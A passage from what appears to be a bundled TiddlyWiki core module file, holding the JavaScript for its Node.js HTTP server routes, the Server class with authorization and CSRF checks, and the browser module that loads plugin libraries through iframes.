($tw.config.fileExtensionInfo[extension] ? $tw.config.fileExtensionInfo[extension].type : \"application/octet-stream\");\n\t\t}\n\t\tresponse.writeHead(status,{\n\t\t\t\"Content-Type\": type\n\t\t});\n\t\tresponse.end(content);\n\t});\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-index.js": {
"title": "$:/core/modules/server/routes/get-index.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-index.js\ntype: application/javascript\nmodule-type: route\n\nGET /\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar zlib = require(\"zlib\");\n\nexports.method = \"GET\";\n\nexports.path = /^\\/$/;\n\nexports.handler = function(request,response,state) {\n\tvar acceptEncoding = request.headers[\"accept-encoding\"];\n\tif(!acceptEncoding) {\n\t\tacceptEncoding = \"\";\n\t}\n\tvar text = state.wiki.renderTiddler(state.server.get(\"root-render-type\"),state.server.get(\"root-tiddler\")),\n\t\tresponseHeaders = {\n\t\t\"Content-Type\": state.server.get(\"root-serve-type\")\n\t};\n\t/*\n\tIf the gzip=yes flag for `listen` is set, check if the user agent permits\n\tcompression. If so, compress our response. Note that we use the synchronous\n\tfunctions from zlib to stay in the imperative style. The current `Server`\n\tdoesn't depend on this, and we may just as well use the async versions.\n\t*/\n\tif(state.server.enableGzip) {\n\t\tif (/\\bdeflate\\b/.test(acceptEncoding)) {\n\t\t\tresponseHeaders[\"Content-Encoding\"] = \"deflate\";\n\t\t\ttext = zlib.deflateSync(text);\n\t\t} else if (/\\bgzip\\b/.test(acceptEncoding)) {\n\t\t\tresponseHeaders[\"Content-Encoding\"] = \"gzip\";\n\t\t\ttext = zlib.gzipSync(text);\n\t\t}\n\t}\n\tresponse.writeHead(200,responseHeaders);\n\tresponse.end(text);\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-login-basic.js": {
"title": "$:/core/modules/server/routes/get-login-basic.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-login-basic.js\ntype: application/javascript\nmodule-type: route\n\nGET /login-basic -- force a Basic Authentication challenge\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/login-basic$/;\n\nexports.handler = function(request,response,state) {\n\tif(!state.authenticatedUsername) {\n\t\t// Challenge if there's no username\n\t\tresponse.writeHead(401,{\n\t\t\t\"WWW-Authenticate\": 'Basic realm=\"Please provide your username and password to login to ' + state.server.servername + '\"'\n\t\t});\n\t\tresponse.end();\t\t\n\t} else {\n\t\t// Redirect to the root wiki if login worked\n\t\tresponse.writeHead(302,{\n\t\t\tLocation: \"/\"\n\t\t});\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-status.js": {
"title": "$:/core/modules/server/routes/get-status.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-status.js\ntype: application/javascript\nmodule-type: route\n\nGET /status\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/status$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\tvar text = JSON.stringify({\n\t\tusername: state.authenticatedUsername || state.server.get(\"anon-username\") || \"\",\n\t\tanonymous: !state.authenticatedUsername,\n\t\tread_only: !state.server.isAuthorized(\"writers\",state.authenticatedUsername),\n\t\tspace: {\n\t\t\trecipe: \"default\"\n\t\t},\n\t\ttiddlywiki_version: $tw.version\n\t});\n\tresponse.end(text,\"utf8\");\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-tiddler-html.js": {
"title": "$:/core/modules/server/routes/get-tiddler-html.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddler-html.js\ntype: application/javascript\nmodule-type: route\n\nGET /:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/([^\\/]+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\t\ttiddler = state.wiki.getTiddler(title);\n\tif(tiddler) {\n\t\tvar renderType = tiddler.getFieldString(\"_render_type\"),\n\t\t\trenderTemplate = tiddler.getFieldString(\"_render_template\");\n\t\t// Tiddler fields '_render_type' and '_render_template' overwrite\n\t\t// system wide settings for render type and template\n\t\tif(state.wiki.isSystemTiddler(title)) {\n\t\t\trenderType = renderType || state.server.get(\"system-tiddler-render-type\");\n\t\t\trenderTemplate = renderTemplate || state.server.get(\"system-tiddler-render-template\");\n\t\t} else {\n\t\t\trenderType = renderType || state.server.get(\"tiddler-render-type\");\n\t\t\trenderTemplate = renderTemplate || state.server.get(\"tiddler-render-template\");\n\t\t}\n\t\tvar text = state.wiki.renderTiddler(renderType,renderTemplate,{parseAsInline: true, variables: {currentTiddler: title}});\n\t\t// Naughty not to set a content-type, but it's the easiest way to ensure the browser will see HTML pages as HTML, and accept plain text tiddlers as CSS or JS\n\t\tresponse.writeHead(200);\n\t\tresponse.end(text,\"utf8\");\n\t} else {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-tiddler.js": {
"title": "$:/core/modules/server/routes/get-tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nGET /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\t\ttiddler = state.wiki.getTiddler(title),\n\t\ttiddlerFields = {},\n\t\tknownFields = [\n\t\t\t\"bag\", \"created\", \"creator\", \"modified\", \"modifier\", \"permissions\", \"recipe\", \"revision\", \"tags\", \"text\", \"title\", \"type\", \"uri\"\n\t\t];\n\tif(tiddler) {\n\t\t$tw.utils.each(tiddler.fields,function(field,name) {\n\t\t\tvar value = tiddler.getFieldString(name);\n\t\t\tif(knownFields.indexOf(name) !== -1) {\n\t\t\t\ttiddlerFields[name] = value;\n\t\t\t} else {\n\t\t\t\ttiddlerFields.fields = tiddlerFields.fields || {};\n\t\t\t\ttiddlerFields.fields[name] = value;\n\t\t\t}\n\t\t});\n\t\ttiddlerFields.revision = state.wiki.getChangeCount(title);\n\t\ttiddlerFields.bag = \"default\";\n\t\ttiddlerFields.type = tiddlerFields.type || \"text/vnd.tiddlywiki\";\n\t\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\t\tresponse.end(JSON.stringify(tiddlerFields),\"utf8\");\n\t} else {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/get-tiddlers-json.js": {
"title": "$:/core/modules/server/routes/get-tiddlers-json.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddlers-json.js\ntype: application/javascript\nmodule-type: route\n\nGET /recipes/default/tiddlers/tiddlers.json?filter=<filter>\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar DEFAULT_FILTER = \"[all[tiddlers]!is[system]sort[title]]\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers.json$/;\n\nexports.handler = function(request,response,state) {\n\tvar filter = state.queryParameters.filter || DEFAULT_FILTER;\n\tif($tw.wiki.getTiddlerText(\"$:/config/Server/AllowAllExternalFilters\") !== \"yes\") {\n\t\tif($tw.wiki.getTiddlerText(\"$:/config/Server/ExternalFilters/\" + filter) !== \"yes\") {\n\t\t\tconsole.log(\"Blocked attempt to GET /recipes/default/tiddlers/tiddlers.json with filter: \" + filter);\n\t\t\tresponse.writeHead(403);\n\t\t\tresponse.end();\n\t\t\treturn;\n\t\t}\n\t}\n\tvar excludeFields = (state.queryParameters.exclude || \"text\").split(\",\"),\n\t\ttitles = state.wiki.filterTiddlers(filter);\n\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\tvar tiddlers = [];\n\t$tw.utils.each(titles,function(title) {\n\t\tvar tiddler = state.wiki.getTiddler(title);\n\t\tif(tiddler) {\n\t\t\tvar tiddlerFields = tiddler.getFieldStrings({exclude: excludeFields});\n\t\t\ttiddlerFields.revision = state.wiki.getChangeCount(title);\n\t\t\ttiddlerFields.type = tiddlerFields.type || \"text/vnd.tiddlywiki\";\n\t\t\ttiddlers.push(tiddlerFields);\n\t\t}\n\t});\n\tvar text = JSON.stringify(tiddlers);\n\tresponse.end(text,\"utf8\");\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/routes/put-tiddler.js": {
"title": "$:/core/modules/server/routes/put-tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/server/routes/put-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nPUT /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"PUT\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\tfields = JSON.parse(state.data);\n\t// Pull up any subfields in the `fields` object\n\tif(fields.fields) {\n\t\t$tw.utils.each(fields.fields,function(field,name) {\n\t\t\tfields[name] = field;\n\t\t});\n\t\tdelete fields.fields;\n\t}\n\t// Remove any revision field\n\tif(fields.revision) {\n\t\tdelete fields.revision;\n\t}\n\tstate.wiki.addTiddler(new $tw.Tiddler(state.wiki.getCreationFields(),fields,{title: title},state.wiki.getModificationFields()));\n\tvar changeCount = state.wiki.getChangeCount(title).toString();\n\tresponse.writeHead(204, \"OK\",{\n\t\tEtag: \"\\\"default/\" + encodeURIComponent(title) + \"/\" + changeCount + \":\\\"\",\n\t\t\"Content-Type\": \"text/plain\"\n\t});\n\tresponse.end();\n};\n\n}());\n",
"type": "application/javascript",
"module-type": "route"
},
"$:/core/modules/server/server.js": {
"title": "$:/core/modules/server/server.js",
"text": "/*\\\ntitle: $:/core/modules/server/server.js\ntype: application/javascript\nmodule-type: library\n\nServe tiddlers over http\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nif($tw.node) {\n\tvar util = require(\"util\"),\n\t\tfs = require(\"fs\"),\n\t\turl = require(\"url\"),\n\t\tpath = require(\"path\"),\n\t\tquerystring = require(\"querystring\");\n}\n\n/*\nA simple HTTP server with regexp-based routes\noptions: variables - optional hashmap of variables to set (a misnomer - they are really constant parameters)\n\t\t routes - optional array of routes to use\n\t\t wiki - reference to wiki object\n*/\nfunction Server(options) {\n\tvar self = this;\n\tthis.routes = options.routes || [];\n\tthis.authenticators = options.authenticators || [];\n\tthis.wiki = options.wiki;\n\tthis.servername = $tw.utils.transliterateToSafeASCII(this.wiki.getTiddlerText(\"$:/SiteTitle\") || \"TiddlyWiki5\");\n\t// Initialise the variables\n\tthis.variables = $tw.utils.extend({},this.defaultVariables);\n\tif(options.variables) {\n\t\tfor(var variable in options.variables) {\n\t\t\tif(options.variables[variable]) {\n\t\t\t\tthis.variables[variable] = options.variables[variable];\n\t\t\t}\n\t\t}\t\t\n\t}\n\t$tw.utils.extend({},this.defaultVariables,options.variables);\n\t// Initialise CSRF\n\tthis.csrfDisable = this.get(\"csrf-disable\") === \"yes\";\n\t// Initialize Gzip compression\n\tthis.enableGzip = this.get(\"gzip\") === \"yes\";\n\t// Initialise authorization\n\tvar authorizedUserName = (this.get(\"username\") && this.get(\"password\")) ? this.get(\"username\") : \"(anon)\";\n\tthis.authorizationPrincipals = {\n\t\treaders: (this.get(\"readers\") || authorizedUserName).split(\",\").map($tw.utils.trim),\n\t\twriters: (this.get(\"writers\") || authorizedUserName).split(\",\").map($tw.utils.trim)\n\t}\n\t// Load and initialise authenticators\n\t$tw.modules.forEachModuleOfType(\"authenticator\", function(title,authenticatorDefinition) {\n\t\t// console.log(\"Loading server route \" + title);\n\t\tself.addAuthenticator(authenticatorDefinition.AuthenticatorClass);\n\t});\n\t// Load route handlers\n\t$tw.modules.forEachModuleOfType(\"route\", function(title,routeDefinition) {\n\t\t// console.log(\"Loading server route \" + title);\n\t\tself.addRoute(routeDefinition);\n\t});\n\t// Initialise the http vs https\n\tthis.listenOptions = null;\n\tthis.protocol = \"http\";\n\tvar tlsKeyFilepath = this.get(\"tls-key\"),\n\t\ttlsCertFilepath = this.get(\"tls-cert\");\n\tif(tlsCertFilepath && tlsKeyFilepath) {\n\t\tthis.listenOptions = {\n\t\t\tkey: fs.readFileSync(path.resolve($tw.boot.wikiPath,tlsKeyFilepath),\"utf8\"),\n\t\t\tcert: fs.readFileSync(path.resolve($tw.boot.wikiPath,tlsCertFilepath),\"utf8\")\n\t\t};\n\t\tthis.protocol = \"https\";\n\t}\n\tthis.transport = require(this.protocol);\n}\n\nServer.prototype.defaultVariables = {\n\tport: \"8080\",\n\thost: \"127.0.0.1\",\n\t\"root-tiddler\": \"$:/core/save/all\",\n\t\"root-render-type\": \"text/plain\",\n\t\"root-serve-type\": \"text/html\",\n\t\"tiddler-render-type\": \"text/html\",\n\t\"tiddler-render-template\": \"$:/core/templates/server/static.tiddler.html\",\n\t\"system-tiddler-render-type\": \"text/plain\",\n\t\"system-tiddler-render-template\": \"$:/core/templates/wikified-tiddler\",\n\t\"debug-level\": \"none\",\n\t\"gzip\": \"no\"\n};\n\nServer.prototype.get = function(name) {\n\treturn this.variables[name];\n};\n\nServer.prototype.addRoute = function(route) {\n\tthis.routes.push(route);\n};\n\nServer.prototype.addAuthenticator = function(AuthenticatorClass) {\n\t// Instantiate and initialise the authenticator\n\tvar authenticator = new AuthenticatorClass(this),\n\t\tresult = authenticator.init();\n\tif(typeof result === \"string\") {\n\t\t$tw.utils.error(\"Error: \" + result);\n\t} else if(result) {\n\t\t// Only use the authenticator if it initialised successfully\n\t\tthis.authenticators.push(authenticator);\n\t}\n};\n\nServer.prototype.findMatchingRoute = function(request,state) {\n\tvar pathprefix = this.get(\"path-prefix\") || \"\";\n\tfor(var t=0; t<this.routes.length; t++) {\n\t\tvar potentialRoute = this.routes[t],\n\t\t\tpathRegExp = potentialRoute.path,\n\t\t\tpathname = state.urlInfo.pathname,\n\t\t\tmatch;\n\t\tif(pathprefix) {\n\t\t\tif(pathname.substr(0,pathprefix.length) === pathprefix) {\n\t\t\t\tpathname = pathname.substr(pathprefix.length) || \"/\";\n\t\t\t\tmatch = potentialRoute.path.exec(pathname);\n\t\t\t} else {\n\t\t\t\tmatch = false;\n\t\t\t}\n\t\t} else {\n\t\t\tmatch = potentialRoute.path.exec(pathname);\n\t\t}\n\t\tif(match && request.method === potentialRoute.method) {\n\t\t\tstate.params = [];\n\t\t\tfor(var p=1; p<match.length; p++) {\n\t\t\t\tstate.params.push(match[p]);\n\t\t\t}\n\t\t\treturn potentialRoute;\n\t\t}\n\t}\n\treturn null;\n};\n\nServer.prototype.methodMappings = {\n\t\"GET\": \"readers\",\n\t\"OPTIONS\": \"readers\",\n\t\"HEAD\": \"readers\",\n\t\"PUT\": \"writers\",\n\t\"POST\": \"writers\",\n\t\"DELETE\": \"writers\"\n};\n\n/*\nCheck whether a given user is authorized for the specified authorizationType (\"readers\" or \"writers\"). Pass null or undefined as the username to check for anonymous access\n*/\nServer.prototype.isAuthorized = function(authorizationType,username) {\n\tvar principals = this.authorizationPrincipals[authorizationType] || [];\n\treturn principals.indexOf(\"(anon)\") !== -1 || (username && (principals.indexOf(\"(authenticated)\") !== -1 || principals.indexOf(username) !== -1));\n}\n\nServer.prototype.requestHandler = function(request,response) {\n\t// Compose the state object\n\tvar self = this;\n\tvar state = {};\n\tstate.wiki = self.wiki;\n\tstate.server = self;\n\tstate.urlInfo = url.parse(request.url);\n\tstate.queryParameters = querystring.parse(state.urlInfo.query);\n\t// Get the principals authorized to access this resource\n\tvar authorizationType = this.methodMappings[request.method] || \"readers\";\n\t// Check for the CSRF header if this is a write\n\tif(!this.csrfDisable && authorizationType === \"writers\" && request.headers[\"x-requested-with\"] !== \"TiddlyWiki\") {\n\t\tresponse.writeHead(403,\"'X-Requested-With' header required to login to '\" + this.servername + \"'\");\n\t\tresponse.end();\n\t\treturn;\t\t\n\t}\n\t// Check whether anonymous access is granted\n\tstate.allowAnon = this.isAuthorized(authorizationType,null);\n\t// Authenticate with the first active authenticator\n\tif(this.authenticators.length > 0) {\n\t\tif(!this.authenticators[0].authenticateRequest(request,response,state)) {\n\t\t\t// Bail if we failed (the authenticator will have sent the response)\n\t\t\treturn;\n\t\t}\t\t\n\t}\n\t// Authorize with the authenticated username\n\tif(!this.isAuthorized(authorizationType,state.authenticatedUsername)) {\n\t\tresponse.writeHead(401,\"'\" + state.authenticatedUsername + \"' is not authorized to access '\" + this.servername + \"'\");\n\t\tresponse.end();\n\t\treturn;\n\t}\n\t// Find the route that matches this path\n\tvar route = self.findMatchingRoute(request,state);\n\t// Optionally output debug info\n\tif(self.get(\"debug-level\") !== \"none\") {\n\t\tconsole.log(\"Request path:\",JSON.stringify(state.urlInfo));\n\t\tconsole.log(\"Request headers:\",JSON.stringify(request.headers));\n\t\tconsole.log(\"authenticatedUsername:\",state.authenticatedUsername);\n\t}\n\t// Return a 404 if we didn't find a route\n\tif(!route) {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t\treturn;\n\t}\n\t// Receive the request body if necessary and hand off to the route handler\n\tif(route.bodyFormat === \"stream\" || request.method === \"GET\" || request.method === \"HEAD\") {\n\t\t// Let the route handle the request stream itself\n\t\troute.handler(request,response,state);\n\t} else if(route.bodyFormat === \"string\" || !route.bodyFormat) {\n\t\t// Set the encoding for the incoming request\n\t\trequest.setEncoding(\"utf8\");\n\t\tvar data = \"\";\n\t\trequest.on(\"data\",function(chunk) {\n\t\t\tdata += chunk.toString();\n\t\t});\n\t\trequest.on(\"end\",function() {\n\t\t\tstate.data = data;\n\t\t\troute.handler(request,response,state);\n\t\t});\n\t} else if(route.bodyFormat === \"buffer\") {\n\t\tvar data = [];\n\t\trequest.on(\"data\",function(chunk) {\n\t\t\tdata.push(chunk);\n\t\t});\n\t\trequest.on(\"end\",function() {\n\t\t\tstate.data = Buffer.concat(data);\n\t\t\troute.handler(request,response,state);\n\t\t})\n\t} else {\n\t\tresponse.writeHead(400,\"Invalid bodyFormat \" + route.bodyFormat + \" in route \" + route.method + \" \" + route.path.source);\n\t\tresponse.end();\n\t}\n};\n\n/*\nListen for requests\nport: optional port number (falls back to value of \"port\" variable)\nhost: optional host address (falls back to value of \"host\" variable)\nprefix: optional prefix (falls back to value of \"path-prefix\" variable)\n*/\nServer.prototype.listen = function(port,host,prefix) {\n\tvar self = this;\n\t// Handle defaults for port and host\n\tport = port || this.get(\"port\");\n\thost = host || this.get(\"host\");\n\tprefix = prefix || this.get(\"path-prefix\") || \"\";\n\t// Check for the port being a string and look it up as an environment variable\n\tif(parseInt(port,10).toString() !== port) {\n\t\tport = process.env[port] || 8080;\n\t}\n\t// Warn if required plugins are missing\n\tif(!$tw.wiki.getTiddler(\"$:/plugins/tiddlywiki/tiddlyweb\") || !$tw.wiki.getTiddler(\"$:/plugins/tiddlywiki/filesystem\")) {\n\t\t$tw.utils.warning(\"Warning: Plugins required for client-server operation (\\\"tiddlywiki/filesystem\\\" and \\\"tiddlywiki/tiddlyweb\\\") are missing from tiddlywiki.info file\");\n\t}\n\t// Create the server\n\tvar server;\n\tif(this.listenOptions) {\n\t\tserver = this.transport.createServer(this.listenOptions,this.requestHandler.bind(this));\n\t} else {\n\t\tserver = this.transport.createServer(this.requestHandler.bind(this));\n\t}\n\t// Display the port number after we've started listening (the port number might have been specified as zero, in which case we will get an assigned port)\n\tserver.on(\"listening\",function() {\n\t\tvar address = server.address();\n\t\t$tw.utils.log(\"Serving on \" + self.protocol + \"://\" + address.address + \":\" + address.port + prefix,\"brown/orange\");\n\t\t$tw.utils.log(\"(press ctrl-C to exit)\",\"red\");\n\t});\n\t// Listen\n\treturn server.listen(port,host);\n};\n\nexports.Server = Server;\n\n})();\n",
"type": "application/javascript",
"module-type": "library"
},
"$:/core/modules/browser-messaging.js": {
"title": "$:/core/modules/browser-messaging.js",
"text": "/*\\\ntitle: $:/core/modules/browser-messaging.js\ntype: application/javascript\nmodule-type: startup\n\nBrowser message handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"browser-messaging\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n/*\nLoad a specified url as an iframe and call the callback when it is loaded. If the url is already loaded then the existing iframe instance is used\n*/\nfunction loadIFrame(url,callback) {\n\t// Check if iframe already exists\n\tvar iframeInfo = $tw.browserMessaging.iframeInfoMap[url];\n\tif(iframeInfo) {\n\t\t// We've already got the iframe\n\t\tcallback(null,iframeInfo);\n\t} else {\n\t\t// Create the iframe and save it in the list\n\t\tvar iframe = document.createElement(\"iframe\");\n\t\tiframeInfo = {\n\t\t\turl: url,\n\t\t\tstatus: \"loading\",\n\t\t\tdomNode: iframe\n\t\t};\n\t\t$tw.browserMessaging.iframeInfoMap[url] = iframeInfo;\n\t\tsaveIFrameInfoTiddler(iframeInfo);\n\t\t// Add the iframe to the DOM and hide it\n\t\tiframe.style.display = \"none\";\n\t\tiframe.setAttribute(\"library\",\"true\");\n\t\tdocument.body.appendChild(iframe);\n\t\t// Set up onload\n\t\tiframe.onload = function() {\n\t\t\tiframeInfo.status = \"loaded\";\n\t\t\tsaveIFrameInfoTiddler(iframeInfo);\n\t\t\tcallback(null,iframeInfo);\n\t\t};\n\t\tiframe.onerror = function() {\n\t\t\tcallback(\"Cannot load iframe\");\n\t\t};\n\t\ttry {\n\t\t\tiframe.src = url;\n\t\t} catch(ex) {\n\t\t\tcallback(ex);\n\t\t}\n\t}\n}\n\n/*\nUnload library iframe for given url\n*/\nfunction unloadIFrame(url){\n\t$tw.utils.each(document.getElementsByTagName('iframe'), function(iframe) {\n\t\tif(iframe.getAttribute(\"library\") === \"true\" &&\n\t\t iframe.getAttribute(\"src\") === url) {\n\t\t\tiframe.parentNode.removeChild(iframe);\n\t\t}\n\t});\n}\n\nfunction saveIFrameInfoTiddler(iframeInfo) {\n\t$tw.wiki.addTiddler(new $tw.Tiddler($tw.wiki.getCreationFields(),{\n\t\ttitle: \"$:/temp/ServerConnection/\" + iframeInfo.url,\n\t\ttext: iframeInfo.status,\n\t\ttags: [\"$:/tags/ServerConnection\"],\n\t\turl: iframeInfo.url\n\t},$tw.wiki.getModificationFields()));\n}\n\nexports.startup = function() {\n\t// Initialise the store of iframes we've created\n\t$tw.browserMessaging = {\n\t\tiframeInfoMap: {} // Hashmap by URL of {url:,status:\"loading/loaded\",domNode:}\n\t};\n\t// Listen for widget messages to control loading the plugin library\n\t$tw.rootWidget.addEventListener(\"tm-load-plugin-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url;\n\t\tif(url) {\n\t\t\tloadIFrame(url,function(err,iframeInfo) {\n\t\t\t\tif(err) {\n\t\t\t\t\talert($tw.language.getString(\"Error/LoadingPluginLibrary\") + \": \" + url);\n\t\t\t\t} else {\n\t\t\t\t\tiframeInfo.domNode.contentWindow.postMessage({\n\t\t\t\t\t\tverb: \"GET\",\n\t\t\t\t\t\turl: \"recipes/library/tiddlers.json\",\n\t\t\t\t\t\tcookies: {\n\t\t\t\t\t\t\ttype: \"save-info\",\n\t\t\t\t\t\t\tinfoTitlePrefix: paramObject.infoTitlePrefix || \"$:/temp/RemoteAssetInfo/\",\n\t\t\t\t\t\t\turl: url\n\t\t\t\t\t\t}\n\t\t\t\t\t},\"*\");\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Listen for widget messages to control unloading the plugin library\n\t$tw.rootWidget.addEventListener(\"tm-unload-plugin-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url;\n\t\t$tw.browserMessaging.iframeInfoMap[url] = undefined;\n\t\tif(url) {\n\t\t\tunloadIFrame(url);\n\t\t\t$tw.utils.each(\n\t\t\t\t$tw.wiki.filterTiddlers(\"[[$:/temp/ServerConnection/\" + url + \"]] [prefix[$:/temp/RemoteAssetInfo/\" + url + \"/]]\"),\n\t\t\t\tfunction(title) {\n\t\t\t\t\t$tw.wiki.deleteTiddler(title);\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t});\n\t$tw.rootWidget.addEventListener(\"tm-load-plugin-from-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url,\n\t\t\ttitle = paramObject.title;\n\t\tif(url && title) {\n\t\t\tloadIFrame(url,function(err,iframeInfo) {\n\t\t\t\tif(err) {\n\t\t\t\t\talert($tw.language.getString(\"Error/LoadingPluginLibrary\") + \": \" + url);\n\t\t\t\t} else {\n\t\t\t\t\tiframeInfo.domNode.contentWindow.postMessage({\n\t\t\t\t\t\tverb: \"GET\",\n\t\t\t\t\t\turl: \"recipes/library/tiddlers/\" + encodeURIComponent(title) + \".json\",\n\t\t\t\t\t\tcookies: {\n\t\t\t\t\t\t\ttype: \"save-tiddler\",\n\t\t\t\t\t\t\turl: url\n\t\t\t\t\t\t}\n\t\t\t\t\t},\"*\");\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Listen for window messages from other windows\n\twindow.addEventListener(\"message\",function listener(event){\n\t\t// console.log(\"browser-messaging: \",document.location.toString())\n\t\t// console.log(\"browser-messaging: Received message from\",event.origin);\n\t\t// console.log(\"browser-messaging: Message content\",event.data);\n\t\tswitch(event.data.verb) {\n\t\t\tcase \"GET-RESPONSE\":\n\t\t\t\tif(event.data.status.charAt(0) === \"2\") {\n\t\t\t\t\tif(event.data.cookies) {\n\t\t\t\t\t\tif(event.data.cookies.type === \"save-info\") {\n\t\t\t\t\t\t\tvar tiddlers = JSON.parse(event.data.body);\n\t\t\t\t\t\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\t\t\t\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler($tw.wiki.getCreationFields(),tiddler,{\n\t\t\t\t\t\t\t\t\ttitle: event.data.cookies.infoTitlePrefix + event.data.cookies.url + \"/\" + tiddler.title,\n\t\t\t\t\t\t\t\t\t\"original-title\": tiddler.title,\n\t\t\t\t\t\t\t\t\ttext: \"\",\n\t\t\t\t\t\t\t\t\ttype: \"text/vnd.tiddlywiki\",\n\t\t\t\t\t\t\t\t\t\"original-type\": tiddler.type,\n\t\t\t\t\t\t\t\t\t\"plugin-type\": undefined,\n\t\t\t\t\t\t\t\t\t\"original-plugin-type\": tiddler[\"plugin-type\"],\n\t\t\t\t\t\t\t\t\t\"module-type\": undefined,\n\t\t\t\t\t\t\t\t\t\"original-module-type\": tiddler[\"module-type\"],\n\t\t\t\t\t\t\t\t\ttags: [\"$:/tags/RemoteAssetInfo\"],\n\t\t\t\t\t\t\t\t\t\"original-tags\": $tw.utils.stringifyList(tiddler.tags || []),\n\t\t\t\t\t\t\t\t\t\"server-url\": event.data.cookies.url\n\t\t\t\t\t\t\t\t},$tw.wiki.getModificationFields()));\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t} else if(event.data.cookies.type === \"save-tiddler\") {\n\t\t\t\t\t\t\tvar tiddler = JSON.parse(event.data.body);\n\t\t\t\t\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler(tiddler));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t},false);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/commands.js": {
"title": "$:/core/modules/startup/commands.js",
"text": "/*\\\ntitle: $:/core/modules/startup/commands.js\ntype: application/javascript\nmodule-type: startup\n\nCommand processing\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"commands\";\nexports.platforms = [\"node\"];\nexports.after = [\"story\"];\nexports.synchronous = false;\n\nexports.startup = function(callback) {\n\t// On the server, start a commander with the command line arguments\n\tvar commander = new $tw.Commander(\n\t\t$tw.boot.argv,\n\t\tfunction(err) {\n\t\t\tif(err) {\n\t\t\t\treturn $tw.utils.error(\"Error: \" + err);\n\t\t\t}\n\t\t\tcallback();\n\t\t},\n\t\t$tw.wiki,\n\t\t{output: process.stdout, error: process.stderr}\n\t);\n\tcommander.execute();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/CSSescape.js": {
"title": "$:/core/modules/startup/CSSescape.js",
